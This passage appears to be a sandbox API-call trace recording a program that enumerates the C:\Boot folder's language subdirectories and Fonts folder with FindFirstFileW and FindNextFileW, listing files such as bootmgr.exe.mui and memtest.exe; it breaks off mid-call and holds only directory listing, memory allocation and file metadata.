0x39406e8 [0060.850] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2df8 [0060.850] FindNextFileW (in: hFindFile=0x5a2df8, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.850] FindNextFileW (in: hFindFile=0x5a2df8, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.851] FindClose (in: hFindFile=0x5a2df8 | out: hFindFile=0x5a2df8) returned 1 [0060.851] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x4b0000) returned 1 [0060.851] FindNextFileW (in: hFindFile=0x5a4238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0060.851] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0060.851] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2df8 [0060.852] FindNextFileW (in: hFindFile=0x5a2df8, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.852] FindNextFileW (in: hFindFile=0x5a2df8, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0060.852] FindClose (in: hFindFile=0x5a2df8 | out: hFindFile=0x5a2df8) returned 1 [0060.852] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x4b0000) returned 1 [0060.852] FindNextFileW (in: hFindFile=0x5a4238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0060.852] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0060.852] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2df8 [0060.853] FindNextFileW (in: hFindFile=0x5a2df8, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.853] FindNextFileW (in: hFindFile=0x5a2df8, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.854] FindClose (in: hFindFile=0x5a2df8 | out: hFindFile=0x5a2df8) returned 1 [0060.854] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x4b0000) returned 1 [0060.854] FindNextFileW (in: hFindFile=0x5a4238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0060.854] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0060.854] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2df8 [0060.854] FindNextFileW (in: hFindFile=0x5a2df8, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.854] FindNextFileW (in: hFindFile=0x5a2df8, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.854] FindClose (in: hFindFile=0x5a2df8 | out: hFindFile=0x5a2df8) returned 1 [0060.854] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x4b0000) returned 1 [0060.854] FindNextFileW (in: hFindFile=0x5a4238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0060.855] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0060.855] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2df8 [0060.855] FindNextFileW (in: hFindFile=0x5a2df8, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.855] FindNextFileW (in: hFindFile=0x5a2df8, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.856] FindClose (in: hFindFile=0x5a2df8 | out: hFindFile=0x5a2df8) returned 1 [0060.856] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x4b0000) returned 1 [0060.856] FindNextFileW (in: hFindFile=0x5a4238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0060.856] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0060.856] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2df8 [0060.856] FindNextFileW (in: hFindFile=0x5a2df8, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.856] FindNextFileW (in: hFindFile=0x5a2df8, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.856] FindClose (in: hFindFile=0x5a2df8 | out: hFindFile=0x5a2df8) returned 1 [0060.856] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x4b0000) returned 1 [0060.856] FindNextFileW (in: hFindFile=0x5a4238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0060.857] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0060.857] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2df8 [0060.857] FindNextFileW (in: hFindFile=0x5a2df8, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.857] FindNextFileW (in: hFindFile=0x5a2df8, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.858] FindClose (in: hFindFile=0x5a2df8 | out: hFindFile=0x5a2df8) returned 1 [0060.858] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x4b0000) returned 1 [0060.858] FindNextFileW (in: hFindFile=0x5a4238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0060.858] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0060.858] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2df8 [0060.858] FindNextFileW (in: hFindFile=0x5a2df8, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.858] FindNextFileW (in: hFindFile=0x5a2df8, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.858] FindClose (in: hFindFile=0x5a2df8 | out: hFindFile=0x5a2df8) returned 1 [0060.858] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x4b0000) returned 1 [0060.858] FindNextFileW (in: hFindFile=0x5a4238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0060.858] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0060.858] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2df8 [0060.859] FindNextFileW (in: hFindFile=0x5a2df8, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.859] FindNextFileW (in: hFindFile=0x5a2df8, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.859] FindClose (in: hFindFile=0x5a2df8 | out: hFindFile=0x5a2df8) returned 1 [0060.860] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x4b0000) returned 1 [0060.860] FindNextFileW (in: hFindFile=0x5a4238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0060.860] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0060.860] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2df8 [0060.860] FindNextFileW (in: hFindFile=0x5a2df8, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.860] FindNextFileW (in: hFindFile=0x5a2df8, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.860] FindClose (in: hFindFile=0x5a2df8 | out: hFindFile=0x5a2df8) returned 1 [0060.863] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x4b0000) returned 1 [0060.863] FindNextFileW (in: hFindFile=0x5a4238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0060.863] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0060.863] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2df8 [0060.864] FindNextFileW (in: hFindFile=0x5a2df8, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.864] FindNextFileW (in: hFindFile=0x5a2df8, 